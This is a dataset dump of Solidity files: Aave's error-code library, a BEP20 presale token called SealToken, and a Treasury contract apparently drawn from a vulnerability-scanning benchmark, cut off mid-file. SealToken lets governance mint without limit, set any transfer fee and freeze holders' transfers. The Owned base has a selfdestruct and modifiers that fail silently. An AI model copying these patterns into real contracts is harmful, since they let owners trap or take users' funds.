hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
14ea1ae8b1ed9e6d907f392dc0edf0de0b07f2952a0567172f5bd0ab4724182c
| 9,830 |
.sol
|
Solidity
| false |
544929076
|
mangrovedao/mangrove-core
|
335ad72b98e6cefb9069564811a5e2738316165f
|
src/strategies/vendor/aave/v3/Errors.sol
| 2,656 | 9,575 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.10;
library Errors {
string public constant CALLER_NOT_POOL_ADMIN = "1"; // 'The caller of the function is not a pool admin'
string public constant CALLER_NOT_EMERGENCY_ADMIN = "2"; // 'The caller of the function is not an emergency admin'
string public constant CALLER_NOT_POOL_OR_EMERGENCY_ADMIN = "3"; // 'The caller of the function is not a pool or emergency admin'
string public constant CALLER_NOT_RISK_OR_POOL_ADMIN = "4"; // 'The caller of the function is not a risk or pool admin'
string public constant CALLER_NOT_ASSET_LISTING_OR_POOL_ADMIN = "5"; // 'The caller of the function is not an asset listing or pool admin'
string public constant CALLER_NOT_BRIDGE = "6"; // 'The caller of the function is not a bridge'
string public constant ADDRESSES_PROVIDER_NOT_REGISTERED = "7"; // 'Pool addresses provider is not registered'
string public constant INVALID_ADDRESSES_PROVIDER_ID = "8"; // 'Invalid id for the pool addresses provider'
string public constant NOT_CONTRACT = "9"; // 'Address is not a contract'
string public constant CALLER_NOT_POOL_CONFIGURATOR = "10"; // 'The caller of the function is not the pool configurator'
string public constant CALLER_NOT_ATOKEN = "11"; // 'The caller of the function is not an AToken'
string public constant INVALID_ADDRESSES_PROVIDER = "12"; // 'The address of the pool addresses provider is invalid'
string public constant INVALID_FLASHLOAN_EXECUTOR_RETURN = "13"; // 'Invalid return value of the flashloan executor function'
string public constant RESERVE_ALREADY_ADDED = "14"; // 'Reserve has already been added to reserve list'
string public constant NO_MORE_RESERVES_ALLOWED = "15"; // 'Maximum amount of reserves in the pool reached'
string public constant EMODE_CATEGORY_RESERVED = "16"; // 'Zero eMode category is reserved for volatile heterogeneous assets'
string public constant INVALID_EMODE_CATEGORY_ASSIGNMENT = "17"; // 'Invalid eMode category assignment to asset'
string public constant RESERVE_LIQUIDITY_NOT_ZERO = "18"; // 'The liquidity of the reserve needs to be 0'
string public constant FLASHLOAN_PREMIUM_INVALID = "19"; // 'Invalid flashloan premium'
string public constant INVALID_RESERVE_PARAMS = "20"; // 'Invalid risk parameters for the reserve'
string public constant INVALID_EMODE_CATEGORY_PARAMS = "21"; // 'Invalid risk parameters for the eMode category'
string public constant BRIDGE_PROTOCOL_FEE_INVALID = "22"; // 'Invalid bridge protocol fee'
string public constant CALLER_MUST_BE_POOL = "23"; // 'The caller of this function must be a pool'
string public constant INVALID_MINT_AMOUNT = "24"; // 'Invalid amount to mint'
string public constant INVALID_BURN_AMOUNT = "25"; // 'Invalid amount to burn'
string public constant INVALID_AMOUNT = "26"; // 'Amount must be greater than 0'
string public constant RESERVE_INACTIVE = "27"; // 'Action requires an active reserve'
string public constant RESERVE_FROZEN = "28"; // 'Action cannot be performed because the reserve is frozen'
string public constant RESERVE_PAUSED = "29"; // 'Action cannot be performed because the reserve is paused'
string public constant BORROWING_NOT_ENABLED = "30"; // 'Borrowing is not enabled'
string public constant STABLE_BORROWING_NOT_ENABLED = "31"; // 'Stable borrowing is not enabled'
string public constant NOT_ENOUGH_AVAILABLE_USER_BALANCE = "32"; // 'User cannot withdraw more than the available balance'
string public constant INVALID_INTEREST_RATE_MODE_SELECTED = "33"; // 'Invalid interest rate mode selected'
string public constant COLLATERAL_BALANCE_IS_ZERO = "34"; // 'The collateral balance is 0'
string public constant HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = "35"; // 'Health factor is lesser than the liquidation threshold'
string public constant COLLATERAL_CANNOT_COVER_NEW_BORROW = "36"; // 'There is not enough collateral to cover a new borrow'
string public constant COLLATERAL_SAME_AS_BORROWING_CURRENCY = "37"; // 'Collateral is (mostly) the same currency that is being borrowed'
string public constant AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = "38"; // 'The requested amount is greater than the max loan size in stable rate mode'
string public constant NO_DEBT_OF_SELECTED_TYPE = "39"; // 'For repayment of a specific type of debt, the user needs to have debt that type'
string public constant NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = "40"; // 'To repay on behalf of a user an explicit amount to repay is needed'
string public constant NO_OUTSTANDING_STABLE_DEBT = "41"; // 'User does not have outstanding stable rate debt on this reserve'
string public constant NO_OUTSTANDING_VARIABLE_DEBT = "42"; // 'User does not have outstanding variable rate debt on this reserve'
string public constant UNDERLYING_BALANCE_ZERO = "43"; // 'The underlying balance needs to be greater than 0'
string public constant INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = "44"; // 'Interest rate rebalance conditions were not met'
string public constant HEALTH_FACTOR_NOT_BELOW_THRESHOLD = "45"; // 'Health factor is not below the threshold'
string public constant COLLATERAL_CANNOT_BE_LIQUIDATED = "46"; // 'The collateral chosen cannot be liquidated'
string public constant SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = "47"; // 'User did not borrow the specified currency'
string public constant SAME_BLOCK_BORROW_REPAY = "48"; // 'Borrow and repay in same block is not allowed'
string public constant INCONSISTENT_FLASHLOAN_PARAMS = "49"; // 'Inconsistent flashloan parameters'
string public constant BORROW_CAP_EXCEEDED = "50"; // 'Borrow cap is exceeded'
string public constant SUPPLY_CAP_EXCEEDED = "51"; // 'Supply cap is exceeded'
string public constant UNBACKED_MINT_CAP_EXCEEDED = "52"; // 'Unbacked mint cap is exceeded'
string public constant DEBT_CEILING_EXCEEDED = "53"; // 'Debt ceiling is exceeded'
string public constant ATOKEN_SUPPLY_NOT_ZERO = "54"; // 'AToken supply is not zero'
string public constant STABLE_DEBT_NOT_ZERO = "55"; // 'Stable debt supply is not zero'
string public constant VARIABLE_DEBT_SUPPLY_NOT_ZERO = "56"; // 'Variable debt supply is not zero'
string public constant LTV_VALIDATION_FAILED = "57"; // 'Ltv validation failed'
string public constant INCONSISTENT_EMODE_CATEGORY = "58"; // 'Inconsistent eMode category'
string public constant PRICE_ORACLE_SENTINEL_CHECK_FAILED = "59"; // 'Price oracle sentinel validation failed'
string public constant ASSET_NOT_BORROWABLE_IN_ISOLATION = "60"; // 'Asset is not borrowable in isolation mode'
string public constant RESERVE_ALREADY_INITIALIZED = "61"; // 'Reserve has already been initialized'
string public constant USER_IN_ISOLATION_MODE = "62"; // 'User is in isolation mode'
string public constant INVALID_LTV = "63"; // 'Invalid ltv parameter for the reserve'
string public constant INVALID_LIQ_THRESHOLD = "64"; // 'Invalid liquidity threshold parameter for the reserve'
string public constant INVALID_LIQ_BONUS = "65"; // 'Invalid liquidity bonus parameter for the reserve'
string public constant INVALID_DECIMALS = "66"; // 'Invalid decimals parameter of the underlying asset of the reserve'
string public constant INVALID_RESERVE_FACTOR = "67"; // 'Invalid reserve factor parameter for the reserve'
string public constant INVALID_BORROW_CAP = "68"; // 'Invalid borrow cap for the reserve'
string public constant INVALID_SUPPLY_CAP = "69"; // 'Invalid supply cap for the reserve'
string public constant INVALID_LIQUIDATION_PROTOCOL_FEE = "70"; // 'Invalid liquidation protocol fee for the reserve'
string public constant INVALID_EMODE_CATEGORY = "71"; // 'Invalid eMode category for the reserve'
string public constant INVALID_UNBACKED_MINT_CAP = "72"; // 'Invalid unbacked mint cap for the reserve'
string public constant INVALID_DEBT_CEILING = "73"; // 'Invalid debt ceiling for the reserve
string public constant INVALID_RESERVE_INDEX = "74"; // 'Invalid reserve index'
string public constant ACL_ADMIN_CANNOT_BE_ZERO = "75"; // 'ACL admin cannot be set to the zero address'
string public constant INCONSISTENT_PARAMS_LENGTH = "76"; // 'Array parameters that should be equal length are not'
string public constant ZERO_ADDRESS_NOT_VALID = "77"; // 'Zero address not valid'
string public constant INVALID_EXPIRATION = "78"; // 'Invalid expiration'
string public constant INVALID_SIGNATURE = "79"; // 'Invalid signature'
string public constant OPERATION_NOT_SUPPORTED = "80"; // 'Operation not supported'
string public constant DEBT_CEILING_NOT_ZERO = "81"; // 'Debt ceiling is not zero'
string public constant ASSET_NOT_LISTED = "82"; // 'Asset is not listed'
string public constant INVALID_OPTIMAL_USAGE_RATIO = "83"; // 'Invalid optimal usage ratio'
string public constant INVALID_OPTIMAL_STABLE_TO_TOTAL_DEBT_RATIO = "84"; // 'Invalid optimal stable to total debt ratio'
string public constant UNDERLYING_CANNOT_BE_RESCUED = "85"; // 'The underlying asset cannot be rescued'
string public constant ADDRESSES_PROVIDER_ALREADY_ADDED = "86"; // 'Reserve has already been added to reserve list'
string public constant POOL_ADDRESSES_DO_NOT_MATCH = "87";
string public constant STABLE_BORROWING_ENABLED = "88"; // 'Stable borrowing is enabled'
string public constant SILOED_BORROWING_VIOLATION = "89"; // 'User is trying to borrow multiple assets including a siloed one'
string public constant RESERVE_DEBT_NOT_ZERO = "90"; // the total debt of the reserve needs to be 0
}
| 225,176 | 11,100 |
ab1d861d418b5bd67a0bb39c25beb47248da5542f44d497a4ad6bef2c68fec30
| 26,048 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xd0EBE482A64034d73613a5fbFE2D62b0Bf15B795/contract.sol
| 4,073 | 14,518 |
pragma solidity 0.7.6;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface UniswapV2 {
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract SealToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
uint public rate;
uint public pancakeSEAL;
uint public farmSEAL;
uint public numLeftSale;
bool public saleEnabled;
bool public freeze;
uint public transferFee;
mapping(address => bool) public governance;
mapping(address => bool) uniPairs;
UniswapV2 public pancakeRouter;
address[] path;
modifier onlyGovernance() {
require(governance[msg.sender], "Caller is not in governance");
_;
}
constructor() public {
_name = "SealSwap";
_symbol = "SEAL";
_decimals = 18;
_totalSupply = 2500000E18;
_balances[msg.sender] = _totalSupply;
governance[msg.sender] = true;
transferFee = 5;
rate = 400000000000000;
numLeftSale = 2500000E18;
freeze = true;
saleEnabled = true;
pancakeRouter = UniswapV2(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
_approve(address(this), address(pancakeRouter), 100000000000000000000E18);
pancakeSEAL = 70;
farmSEAL = 30;
path.push(address(this));
path.push(pancakeRouter.WETH());
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(sender == owner() || sender == address(this) || !freeze, "Contract is frozen");
uint newAmount = amount;
if(transferFee > 0 && !uniPairs[sender] && sender != owner() && sender != address(this)) { // If the sender is a Uniswap/PancakeSwap pair, it's a purchase
uint fee = mulDiv(amount, transferFee, 100);
newAmount = amount.sub(fee);
addFeeLiquidity(sender, fee);
}
_balances[sender] = _balances[sender].sub(newAmount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(newAmount);
emit Transfer(sender, recipient, newAmount);
}
function addFeeLiquidity(address sender, uint fee) internal {
_balances[sender] = _balances[sender].sub(fee, "BEP20: fee exceeds balance");
_balances[address(this)] = _balances[address(this)].add(fee);
uint half = mulDiv(fee, 50, 100);
pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(half,
0,
path,
address(this),
block.timestamp+86400);
pancakeRouter.addLiquidityETH{value: address(this).balance}(address(this),
fee.sub(half),
0,
0,
address(this),
block.timestamp+86400);
}
function _create(address account, uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function buySEAL() public payable { // Used for presale
require(saleEnabled, "Sale is disabled");
require(msg.value >= rate); // Must buy at least one token
uint tokens = mulDiv(1E18, msg.value, rate); // Basically just divide the contribution by the rate and you get your tokens
numLeftSale = numLeftSale.sub(tokens);
_create(msg.sender, tokens);
}
function endSale() external onlyOwner { // When the sale is over we add half the ETH and sold tokens to Uniswap
require(saleEnabled);
saleEnabled = false;
freeze = false;
uint liquiditySEAL = mulDiv((2500000E18 - numLeftSale), pancakeSEAL, 100); // However many were sold, take 70% and add them to Uniswap
uint devShare = mulDiv(address(this).balance, farmSEAL, 100); // 30% goes to devs
uint liquidityBNB = address(this).balance.sub(devShare); // 70% goes to Pancakeswap
payable(owner()).transfer(devShare); // 30% goes to devs for development and marketing
_create(address(this), liquiditySEAL);
(uint amountToken, uint amountBNB, uint liquidity) = pancakeRouter.addLiquidityETH{value: liquidityBNB}(address(this), liquiditySEAL, 0, 0, address(this), block.timestamp.add(86400));
address pair = Factory(pancakeRouter.factory()).getPair(address(this), pancakeRouter.WETH());
if(pair != address(0)) {
uniPairs[pair] = true;
}
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
function modifyGovernance(address account, bool add) external onlyOwner {
if(add) {
governance[account] = true;
} else {
governance[account] = false;
}
}
function modifyUniPairs(address pair, bool add) external onlyGovernance {
if(add) {
uniPairs[pair] = true;
} else {
uniPairs[pair] = false;
}
}
function updatePancakeRouter(address _pancakeRouter) external onlyGovernance {
pancakeRouter = UniswapV2(_pancakeRouter);
_approve(address(this), address(pancakeRouter), 100000000000000000000E18);
}
function updateFee(uint _newFee) external onlyGovernance {
transferFee = _newFee;
}
function liquidityRewards(address account, uint amount) external onlyGovernance {
_create(account, amount);
}
function updateFreeze(bool _freeze) external onlyGovernance {
freeze = _freeze;
}
function transferTokens(address token, uint amount) external onlyOwner { // Transfers tokens accidentally sent to the token contract
if(token == address(0)) {
payable(owner()).transfer(amount);
} else {
IBEP20(token).transfer(owner(), amount);
}
}
function updateSaleEnabled(bool enabled) external onlyOwner {
saleEnabled = enabled;
}
function updateRate(uint _newRate) external onlyOwner {
rate = _newRate;
}
function updateSEAL(uint _newPancakeSEAL, uint _newFarmSEAL) external onlyOwner {
pancakeSEAL = _newPancakeSEAL;
farmSEAL = _newFarmSEAL;
}
function updatePath(address path0, address path1) external onlyGovernance {
path[0] = path0;
path[1] = path1;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
fallback() external payable {
if(saleEnabled) {
buySEAL();
}
}
receive() external payable {
if(saleEnabled) {
buySEAL();
}
}
}
| 254,450 | 11,101 |
6d2930f09781303a0c264cb9963269e32c28c1a4c8bc1b600fdec126783ae3fd
| 20,774 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd19a16e097af43642346cff4ecd2c81472ee8bf6.sol
| 4,964 | 19,463 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title ServiceAllowance.
///
/// Provides a way to delegate operation allowance decision to a service contract
contract ServiceAllowance {
function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool);
}
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract OracleContractAdapter is Object {
event OracleAdded(address _oracle);
event OracleRemoved(address _oracle);
mapping(address => bool) public oracles;
/// @dev Allow access only for oracle
modifier onlyOracle {
if (oracles[msg.sender]) {
_;
}
}
modifier onlyOracleOrOwner {
if (oracles[msg.sender] || msg.sender == contractOwner) {
_;
}
}
/// @notice Add oracles to whitelist.
///
/// @param _whitelist user list.
function addOracles(address[] _whitelist) external onlyContractOwner returns (uint) {
for (uint _idx = 0; _idx < _whitelist.length; ++_idx) {
address _oracle = _whitelist[_idx];
if (!oracles[_oracle]) {
oracles[_oracle] = true;
_emitOracleAdded(_oracle);
}
}
return OK;
}
/// @notice Removes oracles from whitelist.
///
/// @param _blacklist user in whitelist.
function removeOracles(address[] _blacklist) external onlyContractOwner returns (uint) {
for (uint _idx = 0; _idx < _blacklist.length; ++_idx) {
address _oracle = _blacklist[_idx];
if (oracles[_oracle]) {
delete oracles[_oracle];
_emitOracleRemoved(_oracle);
}
}
return OK;
}
function _emitOracleAdded(address _oracle) internal {
OracleAdded(_oracle);
}
function _emitOracleRemoved(address _oracle) internal {
OracleRemoved(_oracle);
}
}
contract TreasuryEmitter {
event TreasuryDeposited(bytes32 userKey, uint value, uint lockupDate);
event TreasuryWithdrawn(bytes32 userKey, uint value);
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/// @title Treasury contract.
///
/// Treasury for CCs deposits for particular fund with bmc-days calculations.
/// Accept BMC deposits from Continuous Contributors via oracle and
/// calculates bmc-days metric for each CC's role.
contract Treasury is OracleContractAdapter, ServiceAllowance, TreasuryEmitter {
uint constant PERCENT_PRECISION = 10000;
uint constant TREASURY_ERROR_SCOPE = 108000;
uint constant TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE = TREASURY_ERROR_SCOPE + 1;
using SafeMath for uint;
struct LockedDeposits {
uint counter;
mapping(uint => uint) index2Date;
mapping(uint => uint) date2deposit;
}
struct Period {
uint transfersCount;
uint totalBmcDays;
uint bmcDaysPerDay;
uint startDate;
mapping(bytes32 => uint) user2bmcDays;
mapping(bytes32 => uint) user2lastTransferIdx;
mapping(bytes32 => uint) user2balance;
mapping(uint => uint) transfer2date;
}
address token;
address profiterole;
uint periodsCount;
mapping(uint => Period) periods;
mapping(uint => uint) periodDate2periodIdx;
mapping(bytes32 => uint) user2lastPeriodParticipated;
mapping(bytes32 => LockedDeposits) user2lockedDeposits;
/// @dev Only profiterole contract allowed to invoke guarded functions
modifier onlyProfiterole {
require(profiterole == msg.sender);
_;
}
function Treasury(address _token) public {
require(address(_token) != 0x0);
token = _token;
periodsCount = 1;
}
function init(address _profiterole) public onlyContractOwner returns (uint) {
require(_profiterole != 0x0);
profiterole = _profiterole;
return OK;
}
/// @notice Do not accept Ether transfers
function() payable public {
revert();
}
/// @notice Deposits tokens on behalf of users
/// Allowed only for oracle.
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _value amount of tokens to deposit
/// @param _feeAmount amount of tokens that will be taken from _value as fee
/// @param _feeAddress destination address for fee transfer
///
/// @return result code of an operation
function deposit(bytes32 _userKey, uint _value, uint _feeAmount, address _feeAddress, uint _lockupDate) external onlyOracle returns (uint) {
require(_userKey != bytes32(0));
require(_value != 0);
require(_feeAmount < _value);
ERC20 _token = ERC20(token);
if (_token.allowance(msg.sender, address(this)) < _value) {
return TREASURY_ERROR_TOKEN_NOT_SET_ALLOWANCE;
}
uint _depositedAmount = _value - _feeAmount;
_makeDepositForPeriod(_userKey, _depositedAmount, _lockupDate);
uint _periodsCount = periodsCount;
user2lastPeriodParticipated[_userKey] = _periodsCount;
delete periods[_periodsCount].startDate;
if (!_token.transferFrom(msg.sender, address(this), _value)) {
revert();
}
if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) {
revert();
}
TreasuryDeposited(_userKey, _depositedAmount, _lockupDate);
return OK;
}
/// @notice Withdraws deposited tokens on behalf of users
/// Allowed only for oracle
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _value an amount of tokens that is requrested to withdraw
/// @param _withdrawAddress address to withdraw; should not be 0x0
/// @param _feeAmount amount of tokens that will be taken from _value as fee
/// @param _feeAddress destination address for fee transfer
///
/// @return result of an operation
function withdraw(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) {
require(_userKey != bytes32(0));
require(_value != 0);
require(_feeAmount < _value);
_makeWithdrawForPeriod(_userKey, _value);
uint _periodsCount = periodsCount;
user2lastPeriodParticipated[_userKey] = periodsCount;
delete periods[_periodsCount].startDate;
ERC20 _token = ERC20(token);
if (!(_feeAddress == 0x0 || _feeAmount == 0 || _token.transfer(_feeAddress, _feeAmount))) {
revert();
}
uint _withdrawnAmount = _value - _feeAmount;
if (!_token.transfer(_withdrawAddress, _withdrawnAmount)) {
revert();
}
TreasuryWithdrawn(_userKey, _withdrawnAmount);
return OK;
}
/// @notice Gets shares (in percents) the user has on provided date
///
/// @param _userKey aggregated user key (user ID + role ID)
/// @param _date date where period ends
///
/// @return percent from total amount of bmc-days the treasury has on this date.
/// Use PERCENT_PRECISION to get right precision
function getSharesPercentForPeriod(bytes32 _userKey, uint _date) public view returns (uint) {
uint _periodIdx = periodDate2periodIdx[_date];
if (_date != 0 && _periodIdx == 0) {
return 0;
}
if (_date == 0) {
_date = now;
_periodIdx = periodsCount;
}
uint _bmcDays = _getBmcDaysAmountForUser(_userKey, _date, _periodIdx);
uint _totalBmcDeposit = _getTotalBmcDaysAmount(_date, _periodIdx);
return _totalBmcDeposit != 0 ? _bmcDays * PERCENT_PRECISION / _totalBmcDeposit : 0;
}
/// @notice Gets user balance that is deposited
/// @param _userKey aggregated user key (user ID + role ID)
/// @return an amount of tokens deposited on behalf of user
function getUserBalance(bytes32 _userKey) public view returns (uint) {
uint _lastPeriodForUser = user2lastPeriodParticipated[_userKey];
if (_lastPeriodForUser == 0) {
return 0;
}
if (_lastPeriodForUser <= periodsCount.sub(1)) {
return periods[_lastPeriodForUser].user2balance[_userKey];
}
return periods[periodsCount].user2balance[_userKey];
}
/// @notice Gets amount of locked deposits for user
/// @param _userKey aggregated user key (user ID + role ID)
/// @return an amount of tokens locked
function getLockedUserBalance(bytes32 _userKey) public returns (uint) {
return _syncLockedDepositsAmount(_userKey);
}
/// @notice Gets list of locked up deposits with dates when they will be available to withdraw
